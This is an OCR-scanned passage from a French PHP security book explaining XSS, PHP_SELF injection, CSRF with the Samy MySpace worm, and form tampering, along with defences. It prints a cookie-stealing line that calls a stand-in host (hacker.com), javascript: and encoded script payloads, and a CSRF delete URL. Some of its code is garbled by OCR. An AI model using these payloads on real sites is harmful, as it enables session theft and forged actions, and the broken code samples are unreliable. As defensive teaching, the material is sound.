Cela gjoute les caractéres spéciaux alaliste précédente, comme les caractéres accentués
francais, ce qui ale double avantage de protéger la chaine de caractéres et de rendre son
contenu plus sr ainterpréter pour un navigateur web.

print htmlentities('Damien Séguy & Philippe Gamache');
Damien S&eacute;guy &amp; Philippe Gamache

Le revers de la médaille est que la chaine est allongée par ces protections et qu’elle est
rendue moins lisible a un étre humain.

Il'y apar ailleurs deux autres points a prendre en compte avant de s en remettre aveuglément
aces deux fonctions.

Le premier aspect est le choix du jeu de caractéres utilisé, dont dépend directement la
valeur nominale d’ un caractére. PHP utilise un jeu en interne, le plus souvent | SO-8859-1
ou latin-1: c'est un jeu qui couvre le francais. Les protections qui sont appliquées a une
chaine de caractéres dépendent directement du jeu de caractéres utilisé. Voici la méme
protection gque dans I’ exemple précédent, appliquée cette fois a une chaine de caracteres
entrante de type Unicode, au lieu de latin-1 :

print htmlentities('Damien Séguy & Philippe Gamache');
Damien S&Atilde;&copy;guy &amp; Philippe Gamache

Le deuxiéme argument des fonctions htmispecialchars() €t htmlentities() indique le
nom du jeu de caractéres utilisé. Utilisez donc le bon jeu pour ne pas laisser passer de
problémes. Au besoin, les fonctions iconv() de PHP vous aideront a vérifier et convertir
les chalnes de caractéres:

print htmlentities(iconv('UTF-8','IS0-88590-1", 'Damien Séguy & Philippe Gamache'));
Damien S&eacute;guy &amp; Philippe Gamache

Par ailleurs, il faut savoir que les injections de code JavaScript n’ ont pas toujours besoin
d'utiliser les caractéres spéciaux de HTML pour s exécuter correctement. En effet,
JavaScript utilise d' autres caractéres spéciaux, qui sont neutres pour HTML : c'est lecas
des parentheses, des accolades et du point-virgule. De plus, JavaScript peut étre exécuté
apartir d' attributs de nombreuses balises HTML. Nous étudierons cela dans les sections
qui suivent.

Les balises <iframe> et <frame>

Méme si les cadres sont passés de mode, ils sont toujours disponibles dans les naviga-
teurs modernes. On peut toujours utiliser les balises <frame> pour scinder une page en
plusieurs parties et charger différentes URL.

Les cadres ont aussi connu une évolution, sous la forme du iframe, le cadre intégré.
Le«i »signifieinline, ¢’ est-a-direintégré dansle corps de lapage HTML. |l réserve
un espace d’ affichage dans une page web et fonctionne comme un cadre traditionnel.



Vulnérabilités des pages web
25
CHAPITRE 2

Du point de vue de I’ utilisateur, c'est totalement transparent, car aucune information
n’'est affichée explicitement pour indiquer qu’ une page externe est chargée.

Comme <iframe> €t <frame> font référence a des pages web complétes, il est possible de
les utiliser pour charger des applications JavaScript complétes et ainsi avoir acces a
toutes les ressources de la page. Grace aux cadres, on peut charger un formulaire compl et
et effectuer des requétes vers des sites externes, en contournant la politique JavaScript de
restriction des accés au domaine en cours.

Du point de vue de I’ affichage, il est possible de donner des dimensionstres réduites aun
cadre: aing, il passeratotalement inapercu pour I’ utilisateur.

Ce sont donc les balises les plus dangereuses a utiliser, du point de vue de la sécurité.

Les balises JavaScript

Evidemment, il faut également se protéger contre I’injection de balises JavaScript dans
une page web. Ces derniéres peuvent faire charger un fichier externe : par exemple, une
bibliotheque JavaScript importée d'une URL n’aura pas de contraintes de taille. C est
une page blanche qui est offerte aun pirate.

JavaScript tente actuellement de mettre en place des politiques de sécurité plus draconiennes,
suivant unerégletressimple: il n'interagit qu’ avec le domaine web de la page en cours.

Par exemple, il est possible d’ établir une connexion HTTP asynchrone entre le navigateur
web et un serveur web en JavaScript, grace al’ objet XMLHttpRequest. Toutefois, Si la page
web chargée fait partie du domaine http://www.domaine.net, alors le navigateur ne pourra
établir une connexion depuis cette page qu’ avec ce domaine, al’ exclusion de tout autre. Si
le navigateur a chargé plusieurs pages simultanément, chaque page pourra communiquer
séparément avec chaque serveur. Elles ne pourront pas établir des connexions croisées.

De méme, nonobstant une faille de la part du navigateur, JavaScript ne peut manipuler
que les cookies du domaine dans lequel il évolue.

Uneinjection HTML ayant accés aux cookies du navigateur, elle peut les exporter facile-
ment versun autre site. 11 lui suffit tout sSimplement de charger uneimage sur un site externe
et de passer les cookies lus dans la page comme argument. Celasefait en une seuleligne:

Img = new image("http://www.hacker.com/image.php?' + document.cookie ) ;

Le site du pirate va simplement enregistrer le chargement de I’image et |es paramétres et
renvoyer une image correcte, par exemple une image vide. Les cookies sont maintenant en
possession du pirate, ains que de nombreuses informations de configuration du navigateur
(HTTP_REFERER, User-agent, |P, encodage, €tc.).

Les balises images

Lesimages font partie des balises souvent utilisées pour exploiter des XSS. En effet, les
images sont omniprésentes sur un site, elles sont souvent utilisées pour personnaliser le
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site. On peut aussi utiliser une image cachée, comme uneimage de 1 pixel sur 1 pixel qui
se charge comme n'importe quelle autre, mais N’ apparéit pas sur la page.

Surtout, il est possible de les utiliser pour appeler un site externe et méme de leur passer
des arguments, comme un script PHP standard. Elles sont auss manipul ées par JavaScript,
pour le chargement, ou méme |’ affichage.

Inversement, les images sont également capables de déclencher des actions JavaScript :
<img src="javascript:alert('injection');" />

Nous avons vu dans la section précédente comment utiliser une image pour exporter des
cookies vers un site externe. Parfois, I'image chargée peut elle-méme contenir du code
JavaScript et étre a son tour exécutée. Certains navigateurs, comme Internet Explorer
permettaient le chargement d’'images sous forme de code. Aprés le chargement, le navi-
gateur identifiait non plus une image mais bien une bibliotheque JavaScript et entreprenait
de I’ exécuter, comme |’ aurait fait une balise <script>.

En résumé, par leur omniprésence et leur polyvalence, les images sont un excellent
vecteur de vulnérabilité.

Les URL

Les URL représentent un autre vecteur de vulnérabilité, plusdiscret. On s en sert dans de
nombreux attributs, comme pour les balises de liens, d'images, de cadre, de fevilles de
styles ou de bibliothéques JavaScript. Elles peuvent entrer dans une page via un formu-
laire, ou provenir des informations que PHP met a votre disposition via les tableaux
superglobaux.

Les tableaux superglobaux $_GET, $_POST, $_REQUEST €t $_COOKIE sont couramment identi-
fiés comme des points d' entrée pour les injections HTML : en effet, ils sont entiérement
fournis par le navigateur et décodés simplement par PHP avant d’ étre fournis au script.
$_SESSION est généralement considéré comme sOr, car les données de ce tableau sont
toujoursimposées par PHP. 11 reste cependant les cas de $_SERVER et $_ENV, qui sont ambigus.

Les données de ces variables proviennent directement du serveur web qui assure les
communications entre le client et le navigateur. $_SERVER donne des informations sur le
serveur web utilisé et $_env sur I’environnement d’exécution. Dans |’ensemble, ces
données sont relativement fiables. Par exemple, |’ adresse | P ou le nom d' héte du serveur
web est tres difficile amanipuler. Mais d  autres valeurs sont plus faciles amodifier, car le
serveur web les extrait des en-tétes HTTP, fournis par le client et les transmet directement
aPHP. Passons-les en revue.

IP et REMOTE_ADDR

L'IP identifie I’ adresse du client qui vient demander une page sur le serveur web. Cette
information est généralement assez fiable, car le client et le serveur doivent I’ utiliser
pour établir lacommunication. Il existe des techniques d’ attague au niveau du réseau par
usurpation d' | P type spoofing, ou le pirate envoie des requétes au serveur, au nom d’ une
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autre adresse IP. 1| ne regoit pas la réponse du serveur, car cette derniére est envoyée a
I'lPlégale, mais ¢ est parfois suffisant pour poser des problémes.

Il reste le cas plus courant des serveurs proxy, qui se placent entre le client et le serveur
et relaient lesinformations de I’ un al’ autre. Les proxy sont souvent utilisés en entreprise
pour fournir un point unique d’ entrée a Internet et surveiller plus facilement les commu-
nications, tant pour les virus entrants que les contenus consultés.

Dans ce cas de figure, c'est I'adresse du proxy qui est utilisée lors de la connexion au
serveur web et non plus celle du client réel, enregistrée dans un autre en-téte HTTP :
HTTP_X_FORWARDED_BY.

Les en-tétesHTTP_X_FORWARDED_BY €t REMOTE_ADDR sont faciles & manipuler par un pirate. Si
les adresses sont stockées dans une base de données, cet en-téte pourra donner lieu a des
injections. Pour leslogs, il est primordial de valider I’ adresse qui est enregistrée via son
adresse P numérique : utilisez lafonction ip21ong().

HTTP_REFERER

HTTP_REFERER est une spécification du protocole HTTP qui indique laderniére page visitée
par le navigateur avant d arriver sur la page actuelle. Cet en-téte permet de suivre la
progression d’'un navigateur sur un site, ou les relations entre deux sites: elle est tres
pratique pour établir des tables de navigation.

Du point de vue de la sécurité, ¢’ est une information qui est tres peu fiable. Elle dépend
entierement du navigateur : s ce dernier ne souhaite pas I'indiquer, il I’omettra. Par
conséquent, il est possible de I utiliser pour établir des statistiques de navigation, mais
pas pour s assurer du passage d’ un visiteur sur une page.

Inversement, la présence de cette information n’ est pas gage de certitude. Un pirate peut
facilement donner a cet en-téte la valeur de son choix, pour faire croire qu'il provient
d'une page quelconque: il peut spécifier virtuellement les valeurs qu'il souhaite sans
perturber la communication avec le serveur web.

Cela signifie qu'il ne faut jamais utiliser HTTP_REFERER pour S assurer de la navigation
d’un utilisateur sur votre site. De plus, s vous enregistrez cette information dans un
systéme de log, faites encore plus attention aux injections ou aux XSS qui pourront étre
stockées dans vos fichiers de log.

Lameilleure chose est de considérer cette information comme peu fiable et de ne I utili-
ser que pour des questions statistiques.

PHP_SELF, PATH_INFO et PATH_TRANSLATED

PHP_SELF, PATH_INFO et PATH_TRANSLATED sont trois informations provenant du serveur web
et directement envoyées par le navigateur. En premiére approche, elles sont considérées
comme slres, car le serveur web en a besoin pour identifier le fichier PHP qui sera
exécuté. Si le fichier est trouvé, ¢'est immanqguablement que I'information fournie est
exacte et exempte de probleme.
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La rédlité est toute autre. En fait, $_SERVER[ ‘PHP_SELF’] peut contenir des informations
supplémentaires : elles ne vont pas géner la recherche du script par le serveur web, mais
perturberont la page web finale. C'est encore un exemple de probléme qui affecte une
technologie, mais pas I’ autre. Ici, ce qui embarrasse le navigateur est totalement valide
pour le serveur web.

Pour illustrer le probléme, voici un formulaire courant, enregistré dans un fichier sur le
serveur web :

<htm1>
<body>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="submit" value="Aller" />
</form>
</body>
</htm1>

Le formulaire se crée automatiquement, a |’aide de $_SERVER[ ‘PHP_SELF’]1. Si le fichier
contenant le script change de nom, le formulaire HTML sera toujours valide : |" attribut
d action du formulaire va changer aussi.

Or, dans certaines configurations, le serveur web lit la chaine de gauche a droite, pour
rechercher le fichier qui sera exécuté. Dés qu'il trouve un script, il sarréte et lance
I'exécution. Aingi, en lui donnant I'URL suivante :

http://www.site.com/index.php/autres_donnees

le serveur web trouve le script index.php €t met dans la variable $_SERVERL ‘PHP_SELF’1 la
chaine */index.php/autres_donnees’. La page web devient :

<htm1>
<body>
<form action="/index.php/autres_donnees">
<input type="submit" value="Aller" />
</form>
</body>
</htm1>

Avec ce que nous avons vu précédemment, vous aurez vite compris qu’en modifiant
correctement autres_donnees

http://www.site.com/index.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3C

le pirate peut maintenant modifier labalise de formulaire form et réaliser uneinjection de
code JavaScript, ce qui donne :

<htm1>
<body>
<form action="/index.php/"><script>alert('xss"')</script >
<input type="submit" value="Aller" />
</form>
</body>

</html>
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En conclusion, protégez toujours PHP_SELF, PATH_INFO et PATH_TRANSLATED aveC htmlenti-
ties() avant de les utiliser dans une balise HTML. Certes, cela va propager I'injection
HTML dansles prochaines occurrences du formulaire, mais éviteralavulnérabilité XSS.
De plus, comme les noms de fichiers sont généralement compatibles avec les URL, cette
protection est simple a utiliser.

CSRF : les utilisateurs en otage

A partir des XSS, il est possible d’ élaborer des attaques encore plus vicieuses : les CSRF.
Si lefait de pouvoir injecter un peu de JavaScript dans une page web ne vous donne pas
de sueurs froides, les paragraphes qui suivent devraient vous montrer la valeur de ces
vulnérabilités.

Les CSRF, aussi appelées XSRF (Cross-Site Request Forgeries, se prononce « Sea
Surf »), sont une autre forme d’ attague sur le Web. Elles se basent principalement sur le
navigateur, qui sert de plaque tournante entre plusieurs sites web et notamment ceux pour
lesquelsil aobtenu des privileges particuliers.

Pour bien comprendre une attaque CSREF, il faut commencer par identifier les personnes
qui jouent dans la piéce. Attention, les acteurs vont étre nombreux. Commencons par la
victime, celle qui va subir les conséquences directes de |’ attaque.

L’ application victime d’ une CSRF est une application plutt bien sécurisée : elleamisen
place plusieurs couches de sécurité complémentaires, pour mieux dérouter les pirates.
Par exemple, I’identification des visiteurs, la protection des pages d’ administration par
identification HTTP, lamise en place d’ une session PHP, e verrouillage de I’ 1P des utili-
sateurs. Pour obtenir le droit d’ utiliser les fonctionnalités de |’ application victime, il faut
fournir plusieurs mots de passe et disposer d'une IP listée dans les domaines autorisés.
Rien de tout celan’ est en possession du pirate qui organise la CSRF : d'ailleurs, aaucun
moment de |’ opération, il ne sera en possession de ces informations. Les seuls qui dispo-
sent de ces informations sont I’administrateur du site et I’ utilisateur ddment affranchi.
Leur utilisation du site est complétement valide et normale, sans histoire jusqu’ a maintenant.

Aprés avoir terminé ses opérations quotidiennes, I’ administrateur du site victime se rend
sur un autre site web.

L e deuxiéme site est complétement distinct du premier. |l n’aaucun rapport avec |’ appli-
cation victime. Il est simplement porteur d’ une vulnérabilité XSS, qui permet aun pirate
d’injecter du code HTML dans ses pages.

Aprés|’application victime, I’ utilisateur inconscient et I application tierce, voici mainte-
nant |’ entrée en scéne du pirate. Ce dernier va utiliser I’ application tierce et la vulnéra-
bilité X SS pour injecter uneimage danslapage et lafairelire par I’administrateur du site
victime. Une telle image comportera une adresse URL du type:

<img src="http://application.victime.com/administration/efface.php?id=22" />
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Lorsgue I'administrateur charge la page avec la vulnérabilité XSS, il charge aussi une
image sur le site qu'il administre. En fait, ce n'est pas une image valide. Si vous lisez
sémantiquement I'URL présentée en illustration de la XSS, ¢’est un lien vers une page
d’ administration du site victime, qui efface un article du site : celui d’identifiant 22.

Ainsi, au lieu de charger une image sur le site qu’il consulte, I’ administrateur déclenche
en fait I’effacement d’un article. Du point de vue de I’ application victime, c’'est une
commande compl étement valide : elle recoit un ordre provenant d’ un utilisateur [égitime
et diment identifié comme un administrateur raisonnable.

Si on revoit les techniques qui ont été mises en place pour protéger le site victime, on
s apercoit que les sécurités ne protégent pas le site: la session PHP est bien celle de
I"administrateur et le pirate | utilise sans méme la connaitre ; méme chose pour la session
HTTP; et la validation par le domaine de I'lP est aussi valide. Au bout du compte,
I’ ordre est bien transmis au site victime, qui n’a aucun autre choix que de I’ accepter.

Le probleme principal ici est que I’ application victime n"a aucun moyen pour se défendre :
une fois qu’ un utilisateur est correctement identifié, elle en accepte toutes les commandes.
Or, par souci de commaodité pour I’internaute, I’ identité est automati quement envoyée au
site par le navigateur quand il sollicite une page : le cookie de session, les identifiants
HTTP et son | P sont transmis au site pour vérifications. Ces données sont toujours vala
bles, sauf peut-étre la session PHP qui va disparaitre au bout de 15 minutes si on utilise
la configuration standard de PHP. Ainsi, I’ administrateur a conservé ses droits sur le site
victime, alorsqu’il I'aquitté et qu’il ne |’ utilise plus vraiment.

Du point de vue du camouflage, les CSRF sont d’autant plus vicieuses que le pirate
exploite lavulnérabilité d' un autre site pour faire exécuter ses commandes démoniaques.
L application victime aura beaucoup de mal aremonter ala source des commandes pour
parer le coup. Elle arrivera a identifier I’administrateur comme origine du probléme et
peut-étre méme le site vulnérable ala XSS comme origine de la navigation désastreuse.
Mais pour remonter encore au pirate, il faudra d autres efforts.

La CSRF utilise plusieurs capacités des navigateurs pour arriver asesfins. D’abord, il y
alapossibilité de naviguer simultanément sur plusieurs sites. Notez tout de méme que la
CSRF pourrait trés bien fonctionner séquentiellement : I’administrateur gére son site,
puis se rend sur le site vulnérable. La CSRF exploite ains la conservation des autorisations.
Comme les droits d' un site sont conservés durant un certain temps, un site tiers peut tres
bien exploiter les droits acquis par un navigateur.

Enfin, pour finir de brosser un tableau bien noir, notez bien que I’ exemple ci-dessus
utilise une attaque par méthode GeT : c’est la plus simple a présenter dans le cadre d’un
livre. Il serait tout a fait possible d exploiter la XSS pour réaliser une soumission de
formulaire viala méthode PosT, que ce soit avec du code JavaScript un peu plus élaboré,
Ou avec une animation Flash.

Pour terminer, voici une illustration simple d’une CSRF, qui ne fait méme pas appel a
une vulnérabilité XSS. Une pratique courante sur Internet est de placer sur un site des
images en provenance d’'un autre site. Quand cela se fait dans le cadre d’ un webmail,
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c'est une pratique reconnue. Quand I’ objectif visé est d' épargner au premier site les colts
en bande passante et de les reporter sur le deuxiéme site, cela s appelle du vol de bande
passante, bandwidth theft ou encore hot linking en anglais.

Une technique de défense des sites victimes de ces pratiques consiste a remplacer
I"'image ou la ressource fréguemment demandée par une redirection vers une URL du
type http://www.site-appelant.com/logout.php. De cette maniére, quiconque charge la
page sur le site original, va aussi chercher I'image sur le site victime, mais sera automa-
tiqguement redirigé vers la page de déconnexion. Cela va paralyser tous les comptes qui
affichent cette image, jusqu’ a ce qu’ elle disparaisse du site. Imaginez aors que I’ admi-
nistrateur soit le seul & pouvoir supprimer cette image : comment va-t-il pouvoir le faire
s'il est automatiquement déconnecté a chaque fois que I'image s affiche ?

Dans cette situation, la CSRF fait bien appel aux droits acquis d’un utilisateur pour lui
nuire, sans jamais accéder a ses éléments identifiants. On voit alors toute la difficulté
gu'il y aaidentifier ce type d' attague et a s en prémunir.

Se défendre contre une CSRF

La défense contre une CSRF se fait essentiellement avec deux mesures : il faut compli-
quer lavie des pirates et s assurer souvent de I’ identité des utilisateurs.

Pour compliquer lavie des pirates, il est recommandé de ne plus utiliser de méthode GeT
telle que présentée dans I’ exemple précédent. Une méthode PosST ou bien un enchaine-
ment de plusieurs pages avant d’ arriver a |’ exécution de |’ effacement rendra |’ opération
plus difficile a transformer en JavaScript et a faire passer par une attaque X SS.

Par ailleurs, I’ gjout d’ un écran de confirmation avant lafinalisation de I’ opération est une
bonne technique. C'est exactement ce que font les systémes d’ exploitation avant une
tache irréversible comme un effacement de fichiers: un dialogue apparait avec une
demande de confirmation. Les demandes de confirmation HTML sont faciles a contour-
ner, car elles nécessitent simplement I’ envoi d'un jeton de confirmation supplémentaire.
D’un autre coté, une confirmation JavaScript est aussi ssimple a contourner, mais son
intrusion dans I’ écran pourra surprendre un utilisateur et |’ alerter qu’ une catastrophe est
en cours: pourquoi est-ce qu’une alerte du site victime.application.com apparait sur le
sitede vulnerable.site.com ?

En fait, cette approche est contournable, car on n’a pas encore trouvé ce qui bloque réel-
lement une CSRF: ce que cette attague doit absolument éviter, c'est une demande
d’identification de I’ utilisateur. En effet, cette information est détenue uniquement par
I utilisateur et pas du tout par le pirate. Pour blogquer efficacement une CSRF, il faut donc
valider I'identité de I’ utilisateur avant toute opération sensible. Si cette étape échoue,
probablement y a-t-il usurpation d'identité, d’ une maniére ou d’ une autre.

Vérifier I'identité de I’ utilisateur en permanence finit par nuire a |’ ergonomie d'un site.
Taper 15 caracteres entre deux clics sur des hyperliens est un moyen efficace pour réduire
a néant I’ergonomie d’'un site: force est de le reconnaitre. 1l faut donc trouver un
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compromis acceptable. Vous devez mesurer I'importance stratégique de |’ opération qui
est demandée a |’ application et le niveau de sécurité associé. Une opération irréversible
comme un effacement ou la publication d’ un contenu aprés modération est une opération
cruciale pour un site web : il est recommandé de demander une nouvelle authentification
avant de I'exécuter. En revanche, I’ajout d'un nouveau contenu sans publication et la
consultation des statistiques peuvent étre considérés comme des opérations bénignes : il
ne sera pas opportun de demander a nouveau I’ identité de I’ usager.

La bonne pratique consiste donc a identifier les opérations les plus importantes et a les
protéger avec une nouvelle authentification systématique.

Une autre solution consiste a implanter un systéme d' identification aléatoire : aprés un
certain temps, inférieur aladurée d’ une session, ou apres un certain nombre de clics dans
le site, I’ application demande automatiquement une identification. Si votre application
est critique, vous pourrez réduire le laps de temps entre deux identifications au plus bas
possible, tandis que si vous voulez une politique plus souple, vous augmenterez ces
valeurs. La politique de sécurité est maintenant paramétrable.

Ces virus qui s’installent

L’ un des aspects particuliers des attagues web est leur caractére transitoire. |1 faut fournir
a une victime une URL construite de maniéere spécifique pour lancer I attaque. Apres
exécution, |’ attaque s arréte d’ elle-méme.

Cen'est pasle casd'un virus, qui s'installe dans un systéme, se reproduit et se diffuse a
tous les systemes proches qu'il peut contaminer.

En fait, la seule différence entre un virus et une attaque web réside dans le fait que les
systémes de stockage sont un peu plus difficiles a atteindre et a exploiter. Hormis les
cookies, il n'y apas de stockage permanent sur le navigateur. La seule possibilité est sur
le serveur web, dans la base de données, |e systéme de fichiers ou toute autre technologie
persistante. A cetitre, le virus qui a attaqué MySpace est riche d’ enseignement.

Au début de I'histoire, Samy, |’auteur, voulait agrandir son cercle d'amis sur le site
communautaire MySpace. Ce dernier autorise chague personne ayant un compte a accepter
un autre membre comme ami, encore faut-il le convaincre. Outre les relations sociales, a
labase de I’ esprit de ce réseau, il y ala possihilité de faire un CSRF, et ¢'est lavoie que
Samy achoisie.

Par chance, il réalise que, dans son profil, le champ de titre est vulnérable aux injections
HTML. Il s'en sert pour agrandir le champ et y injecter autant de code qu'il le souhaite.
Puis, il adapte le code qui est stocké dans le titre de son profil et place une CSRF : son
attague force lavictime a ajouter Samy comme ami dans son profil et aenregistrer I’ atta-
que CSRF dans le profil delavictime (entre autres). A partir dela, il lui suffit o attirer un
premier utilisateur sur son compte pour que ce dernier soit infecté. Chaque visiteur
touché devient une source de diffusion de la CSRF et |le nombre d’ amis de Samy croit de
maniére exponentielle : « Samy is my hero ».
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Dans cette configuration, ¢’ est |’ architecture de MySpace qui assure le stockage du virus.
L’ attague CSRF vise le navigateur des visiteurs du site. PHP et MySQL, qui sont les
technologies utiliseées sur le site, ne sont jamais affectés par I’ attaque CSRF. PHP mani-
pule bien, a défaut de le valider, le code JavaScript et MySQL en assure le stockage. Puis,
au moment de I’ affichage, MySQL retrouve le bon code et PHP se charge de |’ envoyer &
lavictime. Techniguement, MySpace fonctionne tres bien. Fonctionnellement, c’est une
autre affaire.

Cette mésaventure démontre clairement qu'’il est possible d’ assurer le stockage du virus
directement dans I’ application. En fait, le site de MySpace a continué a fonctionner
correctement, mais servait de stockage et de vecteur de propagation du virus. Lorsgue ce
dernier a atteint des proportions démentielles, les administrateurs ont fini par éteindre le
site. Or, cette solution n’ est que temporaire.

En effet, sans nettoyage complet des données en base, le virus Samy est toujours stocké
dans les tables MySQL. L' arrét du systéme stoppe sa propagation entre les utilisateurs,
mais des que I’ application est remise en marche, |es utilisateurs impatients retournent sur
leur profil et sont de nouveau victimes du virus. Sans compréhension fine du probléme,
C'est toute I’ application qui se retrouve paralysée indéfiniment.

Concernant la sécurité, la conclusion de cette malheureuse histoire est que la protection
de chaque technol ogie indépendamment des autres ne pourra pas assurer la protection de
latotalité de votre application. Il faut aborder la sécurité de I application technologie par
technologie, mais aussi d’ un point de vue global.

Des techniques de défense en profondeur auraient pu ajouter une protection supplémen-
taire : au lieu de supposer que PHP se chargerait toujours de la protection du titre, peut-étre
gue MySQL aurait pu ajouter ses propres validations de taille au lieu de stocker toutes
lesinformations.






Formulaires
et telechargement :
valider les données

Lanature dynamique des sites modernes permet de personnaiser le contenu qui est affiché
gréce ades paramétres fournis par I’ utilisateur, soit explicitement comme pour un formulaire,
soit implicitement via des cookies ou la description du navigateur.

Nous présentons dans ce chapitre tous | es risques inhérents al’ échange de données sensi-
bles avec les internautes, que ce soit via les formulaires ou par téléchargement de
fichiers. 1l est vital pour votre application de vérifier et valider chacune des données
entrantes, mais aussi, nous le verrons plusloin, de neutraliser celles qui seront transmises
aux applications connexes.

Les formulaires

Les formulaires font partie des points les plus vulnérables des applications web : les
scripts d’ action fonctionnent exclusivement a partir de données provenant de I’ utilisateur.
Rares sont les formulaires qui acceptent de marcher sans un minimum de données
dynamiques : au pire, des valeurs par défaut sont utilisées.

Un script de formulaire réagit suite ala soumission d' un formulaire. Les formulaires ont
traditionnellement une apparence proche de ceux de ceux de la Sécurité sociale, avec des
boutons en plus.
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Il existe aussi des scripts qui ne passent pas par des formulairesinteractifs : pour gérer du
contenu en ligne par exemple, il est fréquent d’ accéder a un article via un script générique
et un identifiant passé en argument dans |’ URL, comme ceci :

http://www.site.com/afficher.php?id=22

En lisant sémantiquement cette URL, on comprend qu'elle va afficher le contenu
d'identifiant 22. Sous cette forme, afficher.php N’ utilise pas de formulaire, mais présente
les mémes caractéristiques : il fonctionne a partir de données choisies dynamiquement
par le visiteur, via un lien hypertexte astucieusement présenté. En fait, il ne serait pas
difficile de créer un formulaire HTML pour gérer I’ accés a cette page.

L es concepts que nous allons aborder dans les deux prochaines sections s appliquent aux
scripts d’ action, ou scripts de formulaire, ¢’ est-a-dire tous ces scripts qui acceptent des
données de I’ extérieur, quelle que soit leur provenance. Dans tous les cas, ils doivent
faire face aux mémes menaces.

Quelles défenses pour les formulaires ?

Pour tester la robustesse d’'un formulaire, la premiere tactique consiste a le déplacer.
Gréace au fonctionnement déconnecté du Web, il est possible de prendre le code HTML
d’ un formulaire dans une page web quelconque et de le recopier sous forme de source
dans un fichier local .

Cette copie ne sera peut-étre pas immédiatement utilisable : les actions sont souvent dirigées
sur un script qui est relatif au formulaire. Pour régler ce probleme, il suffit de modifier
I’ attribut action pour gouter une URL absolue. De lasorte, unlien:

<form action="afficher.php" method="POST">
devient par exemple:
<form action="http://www.site.com/afficher.php" method="P0OST">

Maintenant, le fichier local est totalement fonctionnel et permet de solliciter le site web
distant. Le gros avantage pour |'attaguant est que ce fichier peut é&re modifié sans
probléme : suppression de limitation, telle que MAX_FILE_SI1ZE pour les balises de fichiers,
remplacement des balises select par des champs de texte libre, remplacement de la
méthode POST par GET, gjout ou retrait de champs, etc.

Il existe aussi des outils directement intégrés dans les navigateurs, comme la barre de
Chris Pederick qui permet notamment de réaliser la transformation précédente en un clic
de souris: http://chrispederick.com/work/webdeveloper/

En réalité, il n'y a pas de gros probléme avec cette technique. Les pirates et les auditeurs
de sécurité s en servent pour tester rapidement un formulaire. Elle est suffisamment rudi-
mentaire pour étre mise en place rapidement et permettre des tests rapides, que ce soit en
chevalier blanc ou noir.
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Il faut bien comprendre que la séparation entre le formulaire et le script qui regoit les
données n'est pas une difficulté. La véritable sécurité provient des validations qui sont
faites sur les données entrantes, quelle que soit leur provenance et non pas de la place du
formulaire initial.

La suppression des défenses JavaScript

Toujours gréce au déplacement des formulaires, il est possible de lever les défenses
JavaScript : en modifiant le code HTML du formulaire sauvé localement, on peut simple-
ment supprimer |’ utilisation des attributs comme onSubmit() OU OnLoad() €t obtenir un
formulaire HTML inerte.

Au demeurant, JavaScript peut étre désactivé dans les options des navigateurs.

Au bout du compte, il est important de comprendre que toute validation qui se fait du
coté du navigateur doit étre doublée par une validation coté serveur. |l est facile de
comprendre que si on peut désactiver JavaScript, il n’est pas possible de désactiver PHP,

En ces temps de Web 2.0, ol I’ ergonomie est un fer de lance incontournable, il n'est pas
pensable de se passer de JavaScript. Au demeurant, la sécurité d’'une application ne
I'exige pas: il faut simplement considérer ce langage comme une option de sécurité.
Celarevient adire que si JavaScript arrive aidentifier un probleme al’ aide descritéresde
validation et a le signaler avant que le serveur ne soit sollicité, ¢’ est une bonne chose:
cela représente d autant moins de travail a faire coté serveur. Cependant, dans tous les
cas, il faudrafaire un travail identique lors du traitement final des données.

Les enchainements de pages web

Dans certaines applicationsweb, il est important de savoir de quelle page provient levisi-
teur avant de passer a la page suivante. Cela se rapproche des notions de workflow, ou
une action en autorise une autre. En termes de sécurité, une succession de validations
placées sur plusieurs pages apporte un supplément de protection, sans constituer une
solution universelle. En effet, de par lanature sans état du protocole HTTR, il est difficile
de garantir qu’ une page en suit une autre.

Le premier réflexe est d' utiliser I’en-téte HTTP HTTP_REFERER, qui indique I'URL de la
page précédente.

Les approches basées sur cette technique sont vulnérables de deux maniéres:

* Premiérement, HTTP_REFERER N’ est indiqué par le navigateur que S'il le veut bien. En

effet, tous les navigateurs ne I’ envoient pas, méme s'ils le reconnaissent et I’ utilisent
correctement.

» Deuxiemement, HTTP_REFERER est entierement fourni par le navigateur : il peut trésbien
donner une valeur quelconque, y compris celle qui permettra d obtenir le formulaire
désiré.
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Au bout du compte, comme nous |’ avons vu précédemment, on ne peut méme pas utiliser
cet en-téte pour mettre en place une petite sécurité de plus.

Construire une attaque HTTP

L e déplacement de formulaire HTML est un moyen rudimentaire pour préparer une atta-
gue. C'est une technique exploratoire, qui permet de tester un formulaire facilement,
mais N’ autorise pas une attaque de grande envergure. Pour cela, il faut d’ autres outils,
lesquels sont malheureusement a la portée de tous.

En pratique, un navigateur collecte les informations, puis les organise au format HTTP
pour les envoyer au serveur web. Voici a quoi ressemble une requéte HTTP sur le site de
www.nexen.net :

GET /index.php?id=33 HTTP/1.1

Host: www.nexen.net

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac 0S X; fr) AppleWebKit/418.9.1
= (KHTML, T1ike Gecko) Safari/419.3

Connection: close

Sans entrer dans |es arcanes du protocole, on repére aisément lesinformations : le nom du
script demandé (index.php), les arguments passés (id=33), le site utilisé (www.nexen.net),
ainsi que lesinformations complémentaires fournies par le navigateur (ici, le User-agent).

Une méthode PoST sera assez similaire, sauf en ce qui concerne I’envoi des données:
elles sont maintenant transmises apres les en-tétes :

POST /index.php?id=33 HTTP/1.1

Host: www.nexen.net

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac 0S X; fr) AppleWebKit/418.9.1
©w= (KHTML, Tike Gecko) Safari/419.3

Cntent-Type: application/x-www-form-urlencoded

Content-Length: 17

id=33&mon+ami=PHP

Comme vous pouvez le voir, les champs qui sont transmis apparaissent clairement dans
ce message. Pour organiser une attaque systématique sur un formulaire, il suffit maintenant
de reproduire ce message, tout en faisant varier les valeurs. Un script PHP tout simple est
capable delefaire.

En outre, afficher la requéte HTTP permet de passer facilement certaines techniques de
camouflage JavaScript : certains formulaires modifient les valeurs soumises par I’ utilisa-
teur avant leur envoi au serveur. JavaScript sert alors a modifier les noms des variables,
caculer des sommes detests, ou gjouter d’ autres valeurs. Celadécouple les variables utilisées
dansleformulaire de celles qui transitent sur Internet. En lisant le protocole HTTP, ou en
déplacant le formulaire, il est facile de voir quelles sont les valeurs réellement envoyées
et comment les reproduire.


www.nexen.net
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Le camouflage JavaScript complique la téche du pirate, qui doit maintenant analyser le
